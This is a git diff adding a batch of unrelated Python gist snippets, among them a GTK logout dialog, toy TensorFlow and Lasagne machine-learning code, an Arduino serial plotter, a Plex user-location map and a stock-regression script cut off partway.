diff --git a/hard-gists/9fd4304148b398983b3c/._snippet.py b/hard-gists/9fd4304148b398983b3c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9fd4304148b398983b3c/._snippet.py differ
diff --git a/hard-gists/9fd4304148b398983b3c/snippet.py b/hard-gists/9fd4304148b398983b3c/snippet.py
new file mode 100644
index 00000000..5248fc0e
--- /dev/null
+++ b/hard-gists/9fd4304148b398983b3c/snippet.py
@@ -0,0 +1,124 @@
+#!/usr/bin/env python
+
+# Replace the old /usr/bin/cb-exit with this one.
+
+import pygtk
+pygtk.require('2.0')
+import gtk
+import os
+import getpass
+
+class cb_exit:
+	def disable_buttons(self):
+		self.cancel.set_sensitive(False)
+		self.logout.set_sensitive(False)
+		self.suspend.set_sensitive(False)
+		self.reboot.set_sensitive(False)
+		self.shutdown.set_sensitive(False)
+
+	def cancel_action(self,btn):
+		self.disable_buttons()
+		gtk.main_quit()
+
+	def logout_action(self,btn):
+		self.disable_buttons()
+		self.status.set_label("Exiting Openbox, please standby...")
+		os.system("i3-msg exit")
+
+	def suspend_action(self,btn):
+		self.disable_buttons()
+		self.status.set_label("Suspending, please standby...")
+		os.system("cb-lock")
+		os.system("dbus-send --print-reply --system --dest=org.freedesktop.login1 /org/freedesktop/login1 org.freedesktop.login1.Manager.Suspend boolean:true")
+		gtk.main_quit()
+
+	def reboot_action(self,btn):
+		self.disable_buttons()
+		self.status.set_label("Rebooting, please standby...")
+		os.system("dbus-send --print-reply --system --dest=org.freedesktop.login1 /org/freedesktop/login1 org.freedesktop.login1.Manager.Reboot boolean:true")
+
+	def shutdown_action(self,btn):
+		self.disable_buttons()
+		self.status.set_label("Shutting down, please standby...")
+		os.system("dbus-send --print-reply --system --dest=org.freedesktop.login1 /org/freedesktop/login1 org.freedesktop.login1.Manager.PowerOff boolean:true")
+
+	def create_window(self):
+		self.window = gtk.Window()
+		title = "Log out " + getpass.getuser() + "? Choose an option:"
+		self.window.set_title(title)
+		self.window.set_border_width(5)
+		self.window.set_size_request(500, 80)
+		self.window.set_resizable(False)
+		self.window.set_keep_above(True)
+		self.window.stick
+		self.window.set_position(1)
+		self.window.connect("delete_event", gtk.main_quit)
+		windowicon = self.window.render_icon(gtk.STOCK_QUIT, gtk.ICON_SIZE_MENU)
+		self.window.set_icon(windowicon)
+
+		
+		#Create HBox for buttons
+		self.button_box = gtk.HBox()
+		self.button_box.show()
+		
+		#Cancel button
+		self.cancel = gtk.Button(stock = gtk.STOCK_CANCEL)
+		self.cancel.set_border_width(4)
+		self.cancel.connect("clicked", self.cancel_action)
+		self.button_box.pack_start(self.cancel)
+		self.cancel.show()
+		
+		#Logout button
+		self.logout = gtk.Button("_Log out")
+		self.logout.set_border_width(4)
+		self.logout.connect("clicked", self.logout_action)
+		self.button_box.pack_start(self.logout)
+		self.logout.show()
+		
+		#Suspend button
+		self.suspend = gtk.Button("_Suspend")
+		self.suspend.set_border_width(4)
+		self.suspend.connect("clicked", self.suspend_action)
+		self.button_box.pack_start(self.suspend)
+		self.suspend.show()
+		
+		#Reboot button
+		self.reboot = gtk.Button("_Reboot")
+		self.reboot.set_border_width(4)
+		self.reboot.connect("clicked", self.reboot_action)
+		self.button_box.pack_start(self.reboot)
+		self.reboot.show()
+		
+		#Shutdown button
+		self.shutdown = gtk.Button("_Power off")
+		self.shutdown.set_border_width(4)
+		self.shutdown.connect("clicked", self.shutdown_action)
+		self.button_box.pack_start(self.shutdown)
+		self.shutdown.show()
+		
+		#Create HBox for status label
+		self.label_box = gtk.HBox()
+		self.label_box.show()
+		self.status = gtk.Label()
+		self.status.show()
+		self.label_box.pack_start(self.status)
+		
+		#Create VBox and pack the above HBox's
+		self.vbox = gtk.VBox()
+		self.vbox.pack_start(self.button_box)
+		self.vbox.pack_start(self.label_box)
+		self.vbox.show()
+		
+		self.window.add(self.vbox)
+		self.window.show()
+		
+	def __init__(self):
+		self.create_window()
+
+
+def main():
+    gtk.main()
+
+if __name__ == "__main__":
+    go = cb_exit()
+    main()
\ No newline at end of file
diff --git a/hard-gists/9fffe8ba08e378e3d027610921c51a78/._snippet.py b/hard-gists/9fffe8ba08e378e3d027610921c51a78/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9fffe8ba08e378e3d027610921c51a78/._snippet.py differ
diff --git a/hard-gists/9fffe8ba08e378e3d027610921c51a78/snippet.py b/hard-gists/9fffe8ba08e378e3d027610921c51a78/snippet.py
new file mode 100644
index 00000000..99093886
--- /dev/null
+++ b/hard-gists/9fffe8ba08e378e3d027610921c51a78/snippet.py
@@ -0,0 +1,135 @@
+import collections, math, random, numpy
+import tensorflow as tf
+from sklearn.cross_validation import train_test_split
+
+sentences = """hated the movie it was stupid;\ni hated it so boring;\nawesome the movie was inspiring;\nhated it what a disaster;\nwe hated the movie they were idiotic;\nhe was stupid, hated her;\nstupid movie is boring;\ninspiring ourselves, awesome;\ninspiring me, brilliant;\nwe hated it they were rubbish;\nany inspiring movie is amazing;\nit was stupid what a disaster;\nits stupid, rubbish;\nstupid, idiotic!;\nawesome great movie;\nboring, must be hated;\nhe was boring the movie was stupid;\nboring movie was a disaster;\nboth boring and rubbish;\nso boring and idiotic;\ngreat to amazing;\ndisaster, more than hated;\nbetween disaster and stupid;\ndisaster, so boring;\nawesome movie, brilliant;\ntoo awesome she was amazing;\nhe was brilliant loved it;\ndisaster, only idiotic;\nrubbish movie hated him;\nit was rubbish, why so stupid?;\nrubbish, too boring;\nrubbish, disaster!;\nrubbish, very idiotic;\nidiotic movie hated it;\nshe was idiotic, so stupid;\nidiotic movie, it was boring;\nit was idiotic, movie was a disaster;\nidiotic and rubbish;\nI loved it, it was awesome;\nhe was stupid, hated her;\nbrilliant, loved it;\nloved the movie amazing;\nit was great loved the movie;\nmovie was great, inspiring;\ngreat movie, awesome;\nthey were great, brilliant;\ngreat amazing!;\nThey were inspiring loved it;\ninspiring movie great;\nawesome loved it;\nthey were brilliant great movie;\nshe was brilliant the movie was inspiring;\nhe was brilliant between them they were awesome;\nbrilliant, above amazing;\njust amazing loved it;\ndisaster, o what rubbish;\nabove amazing beyond inspiring;\nso amazing movie was awesome;\namazing brilliant movie;"""
+words = [word for word in sentences.replace(';', '').replace('!', '').replace('?', '').replace(',', '').lower().split() if word.lower() not in ['it', 'movie', 'the' 'was', 'were', 'so', 'a', 'i', 'he', 'her', 'me', 'any', 'its', 'be', 'they', 'and']]
+vocabulary_size = 15
+
+def build_dataset(words):
+  count = [['UNK', -1]]
+  count.extend(collections.Counter(words).most_common(vocabulary_size - 1))
+  dictionary = dict()
+  for word, _ in count:
+    dictionary[word] = len(dictionary)
+  data = list()
+  for word in words:
+    if word in dictionary:
+      index = dictionary[word]
+    else:
+      index = 0
+    data.append(index)
+  return data, dictionary
+
+data, dictionary = build_dataset(words)
+data_index = 0
+
+def generate_batch(batch_size, num_skips, skip_window):
+  global data_index
+  batch = numpy.ndarray(shape=(batch_size), dtype=numpy.int32)
+  labels = numpy.ndarray(shape=(batch_size, 1), dtype=numpy.int32)
+  span = 2 * skip_window + 1
+  buffer = collections.deque(maxlen=span)
+  for _ in range(span):
+    buffer.append(data[data_index])
+    data_index = (data_index + 1) % len(data)
+  for i in range(batch_size // num_skips):
+    target = skip_window
+    targets_to_avoid = [skip_window]
+    for j in range(num_skips):
+      while target in targets_to_avoid:
+        target = random.randint(0, span - 1)
+      targets_to_avoid.append(target)
+      batch[i * num_skips + j] = buffer[skip_window]
+      labels[i * num_skips + j, 0] = buffer[target]
+    buffer.append(data[data_index])
+    data_index = (data_index + 1) % len(data)
+  return batch, labels
+
+batch_size = 20
+embedding_size = 4
+skip_window = 3
+num_skips = 2
+valid_size = 4
+valid_window = 10
+valid_examples = numpy.random.choice(valid_window, valid_size, replace=False)
+num_sampled = 6
+
+
+graph = tf.Graph()
+with graph.as_default():
+  train_inputs = tf.placeholder(tf.int32, shape=[batch_size])
+  train_labels = tf.placeholder(tf.int32, shape=[batch_size, 1])
+  valid_dataset = tf.constant(valid_examples, dtype=tf.int32)
+  with tf.device('/cpu:0'):
+    embeddings = tf.Variable(
+        tf.random_uniform([vocabulary_size, embedding_size], -1.0, 1.0))
+    embed = tf.nn.embedding_lookup(embeddings, train_inputs)
+    nce_weights = tf.Variable(
+        tf.truncated_normal([vocabulary_size, embedding_size],
+                            stddev=1.0 / math.sqrt(embedding_size)))
+    nce_biases = tf.Variable(tf.zeros([vocabulary_size]))
+    loss = tf.reduce_mean(
+      tf.nn.nce_loss(nce_weights, nce_biases, embed, train_labels,
+                     num_sampled, vocabulary_size))
+  optimizer = tf.train.GradientDescentOptimizer(1.0).minimize(loss)
+  norm = tf.sqrt(tf.reduce_sum(tf.square(embeddings), 1, keep_dims=True))
+  normalized_embeddings = embeddings / norm
+  valid_embeddings = tf.nn.embedding_lookup(
+      normalized_embeddings, valid_dataset)
+  similarity = tf.matmul(
+      valid_embeddings, normalized_embeddings, transpose_b=True)
+  init = tf.global_variables_initializer()
+
+with tf.Session(graph=graph) as session:
+  init.run()
+  average_loss = 0
+  for step in range(10001):
+    batch_inputs, batch_labels = generate_batch(batch_size, num_skips, skip_window)
+    feed_dict = {train_inputs: batch_inputs, train_labels: batch_labels}
+    _, loss_val, normalized_embeddings_np = session.run([optimizer, loss, normalized_embeddings], feed_dict=feed_dict)
+    average_loss += loss_val
+  final_embeddings = normalized_embeddings.eval()
+
+neg_sent="""hated the movie it was stupid;\ni hated it so boring;\nhated it what a disaster;\nwe hated it they were rubbish;\nwe hated the movie they were idiotic;\nhe was stupid, hated her;\nstupid movie is boring;\nit was stupid what a disaster;\nits stupid, rubbish;\nstupid, idiotic!;""".replace(';', '').replace('!', '').replace('?', '').replace(',', '').lower().split('\n')
+pos_sent="""I loved it, it was awesome;\nbrilliant, loved it;\nloved the movie amazing;\nit was great loved the movie;\nmovie was great, inspiring;\ngreat movie, awesome;\nthey were great, brilliant;\ngreat amazing!;\nThey were inspiring loved it;\ninspiring movie great;""".replace(';', '').replace('!', '').replace('?', '').replace(',', '').lower().split('\n')
+
+x_sent = numpy.zeros((len(pos_sent + neg_sent), embedding_size), dtype=numpy.float)
+y_sent = numpy.zeros((len(pos_sent + neg_sent), 2), dtype=numpy.int)
+
+for i, sent in enumerate(pos_sent):
+  y_sent[i, 0] = 1
+  x_sent[i] = numpy.average([final_embeddings[dictionary[word]] for word in sent.split() if word in dictionary], axis=0)
+
+for i, sent in enumerate(neg_sent):
+  y_sent[len(pos_sent) + i, 1] = 1
+  x_sent[len(pos_sent) + i] = numpy.average([final_embeddings[dictionary[word]] for word in sent.split() if word in dictionary], axis=0)
+
+train_X, test_X, train_y, test_y = train_test_split(x_sent, y_sent, test_size=0.10, random_state=42)
+
+x_size = embedding_size
+y_size = 2
+h_size = 4
+
+
+X = tf.placeholder("float", shape=[None, x_size])
+y = tf.placeholder("float", shape=[None, y_size])
+w_1 = tf.Variable(tf.random_normal((x_size, h_size), stddev=0.1))
+w_2 = tf.Variable(tf.random_normal((h_size, y_size), stddev=0.1))
+h = tf.nn.sigmoid(tf.matmul(X, w_1))
+yhat = tf.matmul(h, w_2)
+predict = tf.argmax(yhat, dimension=1)
+cost    = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(yhat, y))
+updates = tf.train.GradientDescentOptimizer(0.01).minimize(cost)
+sess = tf.InteractiveSession()
+init = tf.initialize_all_variables()
+sess.run(init)
+
+for epoch in range(1000):
+    for i in range(len(train_X)):
+        sess.run(updates, feed_dict={X: train_X[i: i + 1], y: train_y[i: i + 1]})
+    train_accuracy = numpy.mean(numpy.argmax(train_y, axis=1) == sess.run(predict, feed_dict={X: train_X, y: train_y}))
+    test_accuracy  = numpy.mean(numpy.argmax(test_y, axis=1) == sess.run(predict, feed_dict={X: test_X, y: test_y}))
+    print("Epoch = %d, train accuracy = %.2f%%, test accuracy = %.2f%%" % (epoch + 1, 100. * train_accuracy, 100. * test_accuracy))
+
+sess.close()
\ No newline at end of file
diff --git a/hard-gists/a003ace716c278ab87669f2fbd37727b/._snippet.py b/hard-gists/a003ace716c278ab87669f2fbd37727b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a003ace716c278ab87669f2fbd37727b/._snippet.py differ
diff --git a/hard-gists/a003ace716c278ab87669f2fbd37727b/snippet.py b/hard-gists/a003ace716c278ab87669f2fbd37727b/snippet.py
new file mode 100644
index 00000000..a5685802
--- /dev/null
+++ b/hard-gists/a003ace716c278ab87669f2fbd37727b/snippet.py
@@ -0,0 +1,132 @@
+import math
+from functools import wraps
+
+from theano import tensor as T
+from theano.sandbox.rng_mrg import MRG_RandomStreams as RandomStreams
+
+from lasagne import init
+from lasagne.random import get_rng
+
+__all__ = ['Accumulator', 'NormalApproximation', 'NormalApproximationScMix', 'bbpwrap']
+
+c = - 0.5 * math.log(2 * math.pi)
+
+
+def log_normal(x, mean, std, eps=0.0):
+    std += eps
+    return c - T.log(T.abs_(std)) - (x - mean) ** 2 / (2 * std ** 2)
+
+
+def log_normal3(x, mean, rho, eps=0.0):
+    std = T.log1p(T.exp(rho))
+    return log_normal(x, mean, std, eps)
+
+
+class Accumulator(object):
+    def __init__(self):
+        """
+        A simple class for accumulating any cost
+        Used in layers with BayesianMeta
+        """
+        self.srng = RandomStreams(get_rng().randint(1, 2147462579))
+        self.total = []
+
+    def get_cost(self):
+        return sum(map(T.sum,self.total))
+
+    def add_cost(self, new):
+        self.total.append(new)
+
+
+class NormalApproximation(object):
+    def __init__(self, pm=0, pstd=T.exp(-3)):
+        self.pm = pm
+        self.pstd = pstd
+
+    def log_prior(self, x):
+        return log_normal(x, self.pm, self.pstd)
+
+    def __call__(self, layer, spec, shape, **tags):
+        # case when user uses default init specs
+        if not isinstance(spec, dict):
+            spec = {'mu': spec}
+        # important!
+        # we declare that params we add next
+        # are the ones we need to fit the distribution
+        tags['variational'] = True
+
+        rho_spec = spec.get('rho', init.Normal(1))
+        mu_spec = spec.get('mu', init.Normal(1))
+
+        rho = layer.add_param(rho_spec, shape, **tags)
+        mean = layer.add_param(mu_spec, shape, **tags)
+
+        e = layer.acc.srng.normal(shape, std=1)
+        W = mean + T.log1p(T.exp(rho)) * e
+
+        q_p = self.log_posterior_approx(W, mean, rho) - self.log_prior(W)
+        layer.acc.add_cost(q_p)
+        return W
+
+    @staticmethod
+    def log_posterior_approx(W, mean, rho):
+        return log_normal3(W, mean, rho)
+
+
+class NormalApproximationScMix(NormalApproximation):
+    def __init__(self, pm1=.0, pstd1=.5, pi=.5, pm2=.0, pstd2=1e-3):
+        """
+        :param pi:
+            weight for first Gaussian
+            pi is in [0, 1]
+        :param pm1: float
+            prior mean for first Gaussian
+        :param std1:
+            prior std for first Gaussian
+        :param pm2:
+            prior mean for second Gaussian
+        :param std2:
+            prior std for second Gaussian
+        """
+        assert .0 <= pi <= 1., 'Weight %d not in [0, 1]' % pi
+        self.pi = pi
+        self.pm1 = pm1
+        self.pstd1 = pstd1
+        self.pm2 = pm2
+        self.pstd2 = pstd2
+
+    def log_prior(self, x):
+        return self.pi * log_normal(x, self.pm1, self.pstd1) + \
+               (1 - self.pi) * log_normal(x, self.pm2, self.pstd2)
+
+
+def bbpwrap(approximation=NormalApproximation()):
+    def decorator(cls):
+        def add_param_wrap(add_param):
+            @wraps(add_param)
+            def wrapped(self, spec, shape, name=None, **tags):
+                # we should take care about some user specification
+                # to avoid bbp hook just set tags['variational'] = True
+                if not tags.get('trainable', True) or tags.get('variational', False):
+                    return add_param(self, spec, shape, name, **tags)
+                else:
+                    # they don't need to be regularized, strictly
+                    tags['regularizable'] = False
+                    param = self.approximation(self, spec, shape, **tags)
+                    return param
+            return wrapped
+
+        def init_wrap(__init__):
+            @wraps(__init__)
+            def wrapped(self, acc, *args, **kwargs):
+                self.acc = acc  # type: Accumulator
+                __init__(self, *args, **kwargs)
+            return wrapped
+
+        cls.approximation = approximation
+        cls.add_param = add_param_wrap(cls.add_param)
+        cls.__init__ = init_wrap(cls.__init__)
+
+        return cls
+    return decorator
+
diff --git a/hard-gists/a027a9fc5aac66e6a382/._snippet.py b/hard-gists/a027a9fc5aac66e6a382/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a027a9fc5aac66e6a382/._snippet.py differ
diff --git a/hard-gists/a027a9fc5aac66e6a382/snippet.py b/hard-gists/a027a9fc5aac66e6a382/snippet.py
new file mode 100644
index 00000000..cca9c51d
--- /dev/null
+++ b/hard-gists/a027a9fc5aac66e6a382/snippet.py
@@ -0,0 +1,70 @@
+# -*- coding: utf-8 -*-
+# Author: Massimo Menichinelli
+# Homepage: http://www.openp2pdesign.org
+# License: MIT
+#
+
+import wx
+import serial
+
+# A new custom class that extends the wx.Frame
+class MyFrame(wx.Frame):
+
+    def __init__(self, parent, title):
+        super(MyFrame, self).__init__(parent, title=title,
+            size=(250, 150))
+
+        # Attach the paint event to the frame
+        self.Bind(wx.EVT_PAINT, self.OnPaint)
+
+        # Create a timer for redrawing the frame every 100 milliseconds
+        self.Timer = wx.Timer(self)
+        self.Timer.Start(100)
+        self.Bind(wx.EVT_TIMER, self.OnPaint)
+
+        # Show the frame
+        self.Centre()
+        self.Show()
+
+    def OnPaint(self, event=None):
+        # Create the paint surface
+        dc = wx.PaintDC(self)
+
+        # Refresh the display
+        self.Refresh()
+
+        # Get data from serial port
+        value = arduino.readline()
+
+        # Draw the serial data
+
+        # Set up colors:
+        thickness = 4
+        border_color = "#990000"
+        fill_color = "#FF944D"
+        dc.SetPen(wx.Pen(border_color, thickness))
+        dc.SetBrush(wx.Brush(fill_color))
+
+        # Draw a line
+        dc.DrawLine(50, 40, 50+value, 40)
+
+        # Draw a rectangle
+        dc.DrawRectangle(50,50,value,50)
+
+
+# Main program
+if __name__ == '__main__':
+    # Connect to serial port first
+    try:
+        arduino = serial.Serial('/dev/tty.usbmodem1421', 9600)
+    except:
+        print "Failed to connect"
+        exit()
+
+    # Create and launch the wx interface
+    app = wx.App()
+    MyFrame(None, 'Serial data test')
+    app.MainLoop()
+
+    # Close the serial connection
+    arduino.close()
diff --git a/hard-gists/a05a9ed37a3096cffef80bdc7fee31bc/._snippet.py b/hard-gists/a05a9ed37a3096cffef80bdc7fee31bc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a05a9ed37a3096cffef80bdc7fee31bc/._snippet.py differ
diff --git a/hard-gists/a05a9ed37a3096cffef80bdc7fee31bc/snippet.py b/hard-gists/a05a9ed37a3096cffef80bdc7fee31bc/snippet.py
new file mode 100644
index 00000000..98da7318
--- /dev/null
+++ b/hard-gists/a05a9ed37a3096cffef80bdc7fee31bc/snippet.py
@@ -0,0 +1,11 @@
+"""Clean all experiments in a PyCrayon server."""
+from pycrayon import CrayonClient
+
+
+def main():
+    client = CrayonClient()
+    client.remove_all_experiments()
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/a06477775f18c11b4517/._snippet.py b/hard-gists/a06477775f18c11b4517/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a06477775f18c11b4517/._snippet.py differ
diff --git a/hard-gists/a06477775f18c11b4517/snippet.py b/hard-gists/a06477775f18c11b4517/snippet.py
new file mode 100644
index 00000000..c212e0b7
--- /dev/null
+++ b/hard-gists/a06477775f18c11b4517/snippet.py
@@ -0,0 +1,71 @@
+import re
+
+from ctypes import *
+from nose.tools import *
+from six import *
+from unittest.mock import *
+
+def ref_to_pointer(ref, ctype):
+    '''convert byref() object to real pointer'''
+    addr = int(re.search(r'(0x[\dabcdefABCDEF]+)',repr(ref)).group(1), 0)
+    return cast(addr, POINTER(ctype))
+
+class Libc:
+    def __init__(self):
+        self.libc = cdll.LoadLibrary(None)
+
+    def puts(self, s):
+        try:
+            return self.libc.puts(s.encode())
+        except AttributeError as e:
+            if not isinstance(s, string_types):
+                raise TypeError('a string is required')
+            else:
+                raise e
+
+    def puti(self, i):
+        return self.libc.printf(b'%i\n', c_int(i))
+
+    def putf(self, f):
+        return self.libc.printf(b'%f\n', c_float(f))
+
+    def remquo(self, x, y):
+        quo = c_double()
+        rem = self.libc.remquo(x, y, byref(quo))
+        return rem, quo.value
+
+def test():
+
+    libc = Libc()
+
+    class MockReturn: pass
+
+    with patch.object(libc.libc, 'puts', Mock(return_value=MockReturn)):
+        assert_equal(libc.puts('testing'), MockReturn)
+        assert_raises(TypeError, libc.puts, b'testing')
+        assert_raises(TypeError, libc.puts, 1)
+        assert_raises(TypeError, libc.puts, 3.1415)
+
+    with patch.object(libc.libc, 'printf', Mock(return_value=MockReturn)):
+        assert_equal(libc.puti(1), MockReturn)
+        assert_raises(TypeError, libc.puti, 'testing')
+        assert_raises(TypeError, libc.puti, b'testing')
+        assert_raises(TypeError, libc.puti, 3.1415)
+
+        assert_equal(libc.putf(3.1415), MockReturn)
+        assert_equal(libc.putf(1), MockReturn)
+        assert_raises(TypeError, libc.putf, 'testing')
+        assert_raises(TypeError, libc.putf, b'testing')
+
+    def mock_libc_remquo(x, y, quo):
+        quo = ref_to_pointer(quo, c_double)
+        quo[0] = 2
+        return 1
+
+    with patch.object(libc.libc, 'remquo', Mock(side_effect=mock_libc_remquo)):
+        rem,quo = libc.remquo(1,2)
+        assert_equal(rem,1)
+        assert_equal(quo,2.0)
+
+if __name__ == '__main__':
+    test()
diff --git a/hard-gists/a08221826c6f20ac47fe688e575e51ca/._snippet.py b/hard-gists/a08221826c6f20ac47fe688e575e51ca/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a08221826c6f20ac47fe688e575e51ca/._snippet.py differ
diff --git a/hard-gists/a08221826c6f20ac47fe688e575e51ca/snippet.py b/hard-gists/a08221826c6f20ac47fe688e575e51ca/snippet.py
new file mode 100644
index 00000000..4d25667a
--- /dev/null
+++ b/hard-gists/a08221826c6f20ac47fe688e575e51ca/snippet.py
@@ -0,0 +1,181 @@
+import requests
+import sys
+import matplotlib.pyplot as plt
+from mpl_toolkits.basemap import Basemap
+import matplotlib as mpl
+from collections import OrderedDict
+import math
+
+# Example: http://i.imgur.com/IXd0IVM.png
+
+## EDIT THESE SETTINGS ##
+PLEXPY_APIKEY = 'XXXXXXXXX'  # Your PlexPy API key
+PLEXPY_URL = 'http://localhost:8181/'  # Your PlexPy URL
+
+# Replace LAN IP addresses that start with the LAN_SUBNET with a WAN IP address
+# to retrieve geolocation data. Leave REPLACEMENT_WAN_IP blank for no replacement.
+LAN_SUBNET = ('127.0.0')
+REPLACEMENT_WAN_IP = ''
+
+# Find your user_id number and play at least one file from the server.
+# This will be used to mark the server location.
+SERVER_USER_ID = ''
+# Enter Friendly name for Server ie 'John Smith'
+SERVER_FRIENDLY = ''
+
+# Server location information. Find this information on your own.
+# If server plot is out of scope add print(geo_lst) after ut.user_id loop ~line 151 to find the error
+SERVER_LON = ''
+SERVER_LAT = ''
+SERVER_CITY = ''
+SERVER_STATE = ''
+## End of edit ##
+
+## Map stuff ##
+# Map draw size
+plt.figure(figsize=(16, 8))
+m = Basemap(llcrnrlon=-119, llcrnrlat=22, urcrnrlon=-54, urcrnrlat=55, projection='lcc', resolution='l', lat_1=32,
+            lat_2=45, lon_0=-95)
+# remove line in legend
+mpl.rcParams['legend.handlelength'] = 0
+# title of map
+title_string = "Location of Plex users based on ISP data"
+
+m.drawmapboundary(fill_color='#1F1F1F')
+m.drawcoastlines()
+m.drawstates()
+m.drawcountries()
+m.fillcontinents(color='#3C3C3C', lake_color='#1F1F1F')
+
+class GeoData(object):
+    def __init__(self, data=None):
+        data = data or {}
+        self.continent = data.get('continent', 'N/A')
+        self.country = data.get('country', 'N/A')
+        self.region = data.get('region', 'N/A')
+        self.city = data.get('city', 'N/A')
+        self.postal_code = data.get('postal_code', 'N/A')
+        self.timezone = data.get('timezone', 'N/A')
+        self.latitude = data.get('latitude', 'N/A')
+        self.longitude = data.get('longitude', 'N/A')
+        self.accuracy = data.get('accuracy', 'N/A')
+
+class UserTB(object):
+    def __init__(self, data=None):
+        data = data or []
+        self.user_id = [d['user_id'] for d in data]
+
+class UserIPs(object):
+    def __init__(self, data=None):
+        data = data or []
+        self.ip_address = [d['ip_address'] for d in data]
+        self.friendly_name = [d['friendly_name'] for d in data]
+        self.play_count = [d['play_count'] for d in data]
+
+def get_get_users_tables():
+    # Get the user IP list from PlexPy
+    payload = {'apikey': PLEXPY_APIKEY,
+               'cmd': 'get_users_table'}
+               
+    try:
+        r = requests.get(PLEXPY_URL.rstrip('/') + '/api/v2', params=payload)
+        response = r.json()
+        res_data = response['response']['data']['data']
+        return UserTB(data=res_data)
+    
+    except Exception as e:
+        sys.stderr.write("PlexPy API 'get_get_users_tables' request failed: {0}.".format(e))
+        
+def get_get_users_ips(user_id=''): 
+    # Get the user IP list from PlexPy
+    payload = {'apikey': PLEXPY_APIKEY,
+               'cmd': 'get_user_ips',
+               'user_id': user_id,
+               'length': 25} #length is number of returns, default is 25
+              
+    try:
+        r = requests.get(PLEXPY_URL.rstrip('/') + '/api/v2', params=payload)
+        response = r.json()
+
+        res_data = response['response']['data']['data']
+        return UserIPs(data=res_data)
+    except Exception as e:
+        sys.stderr.write("PlexPy API 'get_get_users_ips' request failed: {0}.".format(e))
+
+def get_geoip_info(ip_address=''):
+    # Get the geo IP lookup from PlexPy
+    payload = {'apikey': PLEXPY_APIKEY,
+               'cmd': 'get_geoip_lookup',
+               'ip_address': ip_address}
+
+    try:
+        r = requests.get(PLEXPY_URL.rstrip('/') + '/api/v2', params=payload)
+        response = r.json()
+        if response['response']['result'] == 'success':
+            data = response['response']['data']
+            if data.get('error'):
+                raise Exception(data['error'])
+            else:
+                sys.stdout.write("Successfully retrieved geolocation data.")
+                return GeoData(data=data)
+        else:
+            raise Exception(response['response']['message'])
+    except Exception as e:
+        sys.stderr.write("PlexPy API 'get_geoip_lookup' request failed: {0}.".format(e))
+        return GeoData()
+
+
+if __name__ == '__main__':
+    geo_lst = [[SERVER_LON, SERVER_LAT, SERVER_CITY, SERVER_STATE, SERVER_USER_ID, REPLACEMENT_WAN_IP, SERVER_FRIENDLY, 0]]
+    ut = get_get_users_tables()
+    for i in ut.user_id:
+        ip = get_get_users_ips(user_id=i)
+        c = 0
+        if ip is not None:
+            fn = [x.encode('UTF8') for x in ip.friendly_name]
+            fn = list(set(fn))
+            ulst = [str(i)]
+            for x in ip.ip_address:
+                if x.startswith(LAN_SUBNET) and REPLACEMENT_WAN_IP:
+                    x = REPLACEMENT_WAN_IP
+
+                g = get_geoip_info(ip_address=x)
+                glst = [str(g.longitude)] + [str(g.latitude)] + [str(g.city)] + [str(g.region)]
+                geo_lst += [glst + ulst + [str(x)] + fn + [ip.play_count[c]]]
+                c += 1
+
+    for (lon, lat, city, reg, user_id, ip, fn, pc) in geo_lst:
+        if user_id == SERVER_USER_ID and ip == REPLACEMENT_WAN_IP:
+            color = '#FFAC05'
+            marker = '*'
+            markersize = 10
+        else:
+            color = '#A96A1C'
+            marker = '.'
+            markersize = 5 + pc * .1
+        x, y = m(lon, lat)
+        labels = 'Location: ' + city + ', ' + reg + ' User: ' + fn
+        # Keeping lines inside the USA. Plots outside USA will still be in legend
+        if float(lon) != float(SERVER_LON) and float(lat) != float(SERVER_LAT) and -124.0 < float(lon) < 66.0:
+            # Drawing lines from Server location to client location
+            m.drawgreatcircle(float(SERVER_LON), float(SERVER_LAT), float(lon), float(lat), linewidth=1, alpha=0.4,
+                              color='#AC7420')
+        m.plot(x, y, marker=marker, color=color, markersize=markersize, label=labels, alpha=0.3)
+
+    handles, labels = plt.gca().get_legend_handles_labels()
+    by_label = OrderedDict(zip(labels, handles))
+    leg = plt.legend(by_label.values(), by_label.keys(), fancybox=True, fontsize='x-small', numpoints=1, title="Legend")
+    if leg:
+        lleng = len(leg.legendHandles)
+        for i in range(0, lleng):
+            leg.legendHandles[i]._legmarker.set_markersize(5)
+            leg.legendHandles[i]._legmarker.set_alpha(1)
+        leg.get_title().set_color('#7B777C')
+        leg.draggable()
+        leg.get_frame().set_facecolor('#2C2C2C')
+        for text in leg.get_texts():
+            plt.setp(text, color='#A5A5A7')
+
+    plt.title(title_string)
+    plt.show()
+            
\ No newline at end of file
diff --git a/hard-gists/a0a5dd7bfcaac3d3e9c18e5ea1080b95/._snippet.py b/hard-gists/a0a5dd7bfcaac3d3e9c18e5ea1080b95/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/a0a5dd7bfcaac3d3e9c18e5ea1080b95/._snippet.py differ
diff --git a/hard-gists/a0a5dd7bfcaac3d3e9c18e5ea1080b95/snippet.py b/hard-gists/a0a5dd7bfcaac3d3e9c18e5ea1080b95/snippet.py
new file mode 100644
index 00000000..25442562
--- /dev/null
+++ b/hard-gists/a0a5dd7bfcaac3d3e9c18e5ea1080b95/snippet.py
@@ -0,0 +1,45 @@
+#
+# Stock Market Prediction
+# with Linear Regression
+#
+# The Python Quants GmbH
+#
+import numpy as np
+import pandas as pd
+from pandas_datareader import data as web
+import seaborn as sns
+sns.set()
+
+
+class RegPred(object):
+    def __init__(self, symbol):
+        self.symbol = symbol
+        self.get_data()
+
+    def get_data(self):
+        self.data = pd.DataFrame(web.DataReader(
+            self.symbol, data_source='yahoo')['Adj Close'])
+        self.data.columns = ['prices']
+        self.data['returns'] = np.log(self.data / self.data.shift(1))
+        self.data.dropna(inplace=True)
+
+    def generate_matrix(self, lags):
+        self.matrix = np.zeros((lags + 1, len(self.data) - lags))
+        for i in range(lags + 1):
+            if i == lags:
+                self.matrix[i] = self.data.returns.values[i:]
+            else:
